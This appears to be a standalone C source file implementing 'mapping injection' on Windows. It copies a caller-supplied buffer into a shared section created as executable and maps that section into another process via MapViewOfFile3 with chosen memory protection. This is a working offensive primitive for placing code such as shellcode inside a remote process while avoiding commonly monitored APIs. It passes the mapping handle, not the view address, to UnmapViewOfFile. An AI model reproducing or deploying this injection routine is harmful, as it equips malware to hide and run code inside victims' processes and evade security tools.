MappingInjectionAlloc.c

LPVOID MappingInjectionAlloc(HANDLE hProc, char* buffer, SIZE_T bufferSize, DWORD protectionType) {
	pMapViewOfFile3 MapViewOfFile3 = (pMapViewOfFile3)GetProcAddress(GetModuleHandleW(L"kernelbase.dll"), "MapViewOfFile3");
	HANDLE hFileMap = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, (DWORD)bufferSize, NULL);
	if (hFileMap == NULL)
	{
		printf("CreateFileMapping failed with error: %d\n", GetLastError());
		exit(-1);
	}
	LPVOID lpMapAddress = MapViewOfFile3(hFileMap, GetCurrentProcess(), NULL, 0, 0, 0, PAGE_READWRITE, NULL, 0);
	if (lpMapAddress == NULL)
	{
		printf("MapViewOfFile failed with error: %d\n", GetLastError());
		exit(-1);
	}
	memcpy((PVOID)lpMapAddress, buffer, bufferSize);
	LPVOID lpMapAddressRemote = MapViewOfFile3(hFileMap, hProc, NULL, 0, 0, 0, protectionType, NULL, 0);
	if (lpMapAddressRemote == NULL)
	{
		printf("\nMapViewOfFile3 failed with error: %d\n", GetLastError());
		exit(-1);
	}
	UnmapViewOfFile(hFileMap);
	CloseHandle(hFileMap);
	return lpMapAddressRemote;
}